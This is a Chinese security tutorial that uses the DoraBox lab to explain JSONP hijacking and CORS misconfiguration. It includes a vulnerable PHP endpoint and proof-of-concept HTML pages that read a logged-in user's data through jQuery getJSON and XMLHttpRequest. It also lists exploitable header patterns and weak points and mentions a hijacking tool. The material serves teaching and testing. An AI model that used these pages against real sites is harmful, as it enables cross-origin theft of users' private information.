天天看點

cors跨域_跨域漏洞丨JSONP和CORS跨域資源共享

cors跨域_跨域漏洞丨JSONP和CORS跨域資源共享
cors跨域_跨域漏洞丨JSONP和CORS跨域資源共享

進入正文之前,我們先來解決個小問題,

什麼是跨域?

跨域:指的是浏覽器不能執行其它網站的腳本,它是由浏覽器的同源政策造成的,是浏覽器的安全限制!

跨域常見的兩種方式,分别是JSONP和CORS。

今天i春秋以JSONP和CORS這兩個知識點,分享一篇比較基礎的跨域漏洞知識點,希望能夠抛磚引玉。

JSONP跨域

JSONP(JSON with padding),是一種利用HTML中<script></script>元素标簽,遠端調用json檔案來實作資料傳遞的技術,它的特點是可以跨域讀取資料。

那麼為什麼需要用到JSONP這樣一種方式傳遞不同域之間的資料呢?因為同源政策,同源政策是由Netscape提出的一個著名的安全政策,現在所有支援JavaScript的浏覽器都會使用這個政策。

我們以key表哥的droabox為例:

cors跨域_跨域漏洞丨JSONP和CORS跨域資源共享
cors跨域_跨域漏洞丨JSONP和CORS跨域資源共享

首先看下源碼:

<!-- jsonp.php -->
<?php
 include "../class/function.class.php";
 $reqMethod = "GET";
 $reqValue = "callback";
 $p = new Func($reqMethod, $reqValue);
 $info = array('username' => 'Vulkey_Chen', 'mobilephone' => '13188888888', 'email' => '[email protected]', 'address' => '中華人民共和國', '**' => 'Cool Man');
 if([email protected]$_GET['callback']){
 echo $p -> con_function('json_encode',$info);
 }else{
 $callback = htmlspecialchars($_GET['callback']);
 echo "{$callback}(" . $p -> con_function('json_encode',$info) . ")";
 }
?>
           

我們主要看的是:

if([email protected]$_GET['callback']){
 echo $p -> con_function('json_encode',$info);
 }else{
 $callback = htmlspecialchars($_GET['callback']);
 echo "{$callback}(" . $p -> con_function('json_encode',$info) . ")";
 }
           

這裡首先以get形式接收到callback的值,如果callback為空,則忽略警告輸出info的json格式資料;

如果callback值不為空,則對這個值做一個過濾後輸出,然後後面還是輸出json格式的info的值。

cors跨域_跨域漏洞丨JSONP和CORS跨域資源共享
cors跨域_跨域漏洞丨JSONP和CORS跨域資源共享

從這段代碼我們可以看到,callback的值是可以動态輸出的,如果我們現在拿到了一個以jsonp方式傳輸使用者認證後資料的網站,我們就可以構造出一個惡意的jsonp調用頁面,然後誘使使用者通路我們的頁面,進而達到一個截取使用者資訊的目的。

<!--jsonp.html-->
<!DOCTYPE html>
<html>
<head>
 <title>jsonp</title>
</head>
<body>
<script type="text/javascript" src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
<script type="text/javascript">
 $.getJSON("http://localhost:801/dorabox/csrf/jsonp.php?callback=?", function(jsonp){
 alert(jsonp.username);
 });
</script>
</body>
</html>
           

這裡用到一個jQuery的getJSON方法,文法為:

jQuery.getJSON(url,data,success(data,status,xhr));

我們用這個函數以get方式打開連結,擷取到json值,即擷取到使用者敏感資訊。

cors跨域_跨域漏洞丨JSONP和CORS跨域資源共享
JSON劫持可能存在的點:
  • Referer過濾不嚴謹;
  • 空Referer(在通過跨協定調用JS時,發送的http請求裡的Referer為空);
  • CSRF調用json檔案方式不安全,token可重複利用;
  • JSON輸出的Content-Type及編碼不符合标準(gb2312可能存在寬位元組注入);
  • 未嚴格過濾callback函數名及JSON裡資料的輸出;
  • 未嚴格限制JSONP輸出callback函數名的長度。
CORS跨域

CORS(Cross-Origin Resource Sharing 跨來源資源共享),CORS允許浏覽器向跨域伺服器發出XmlHttpRequest請求,CORS與JSONP的差別:是JSONP的更新版,JSONP隻能通過get方式請求,CORS支援get和post請求。

CORS跨域原理:向header中注入Access-Control-Allow-Origin服務端過判斷請求頭中的參數是否被允許的域來決定請求源是否有權限擷取資料。

cors跨域_跨域漏洞丨JSONP和CORS跨域資源共享

注意這裡的:

Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS
           

這個響應頭表示通路允許,*表示所有的請求源的所有形式的請求,都被允許通路資料,這樣也就造成了一個跨域讀取敏感資訊的漏洞。

下面有一些傳回辨別幫助我們快速确認一個網站是否存在cors漏洞:

最好的攻擊案例:

Access-Control-Allow-Origin: https://attacker.com

Access-Control-Allow-Credentials: true

可能存在利用點:

Access-Control-Allow-Origin: null

Access-Control-Allow-Credentials: true

配置失誤,但是幾乎無法利用:

Access-Control-Allow-Origin: *

Access-Control-Allow-Credentials: true

或者隻有一個:

Access-Control-Allow-Origin: *

下面還是以dorabox為例:

cors跨域_跨域漏洞丨JSONP和CORS跨域資源共享

這裡假設我們看到的是一個已登入狀态的使用者資訊,通過通路該頁面的傳回頭資訊,我們确定它可能存在一個cors跨域資源共享的漏洞,那麼我們就可以構造以下代碼擷取使用者隐私資訊:

<!-- cors.html -->
<!DOCTYPE html>
<html>
<head>
 <title>cors exp</title>
</head>
<body>
<script type="text/javascript">
 function cors() {
 var xhr = new XMLHttpRequest();
 xhr.onreadystatechange = function() {
 if(xhr.readyState === 4) {
 alert(xhr.responseText);
 }
 }
 xhr.open("GET","http://localhost:801/DoraBox/csrf/userinfo.php");
 xhr.send();
}
cors();
</script>
</body>
</html>
           

首先定義一個函數cors,以get形式通路目标網址,建立XMLHttpRequest對象為xhr,通過ajax的onreadystatechange判斷請求狀态,如果請求已完成,且相應已就緒,則彈出傳回文本。

cors跨域_跨域漏洞丨JSONP和CORS跨域資源共享

當然我們還可以利用CrossSiteContentHijacking這個poc實作cors跨域資源共享。

cors跨域_跨域漏洞丨JSONP和CORS跨域資源共享

将這個工具部署到php環境中,輸入目标url,類型設定為CORS iframe或CORS window後,點選"Retrieve Contents"。

cors跨域_跨域漏洞丨JSONP和CORS跨域資源共享

有post資料也是可以的,前文說過cors是jsonp的更新版,可處理post資料。

cors跨域_跨域漏洞丨JSONP和CORS跨域資源共享

以上是今天分享的全部内容,大家看懂了嗎?

繼續閱讀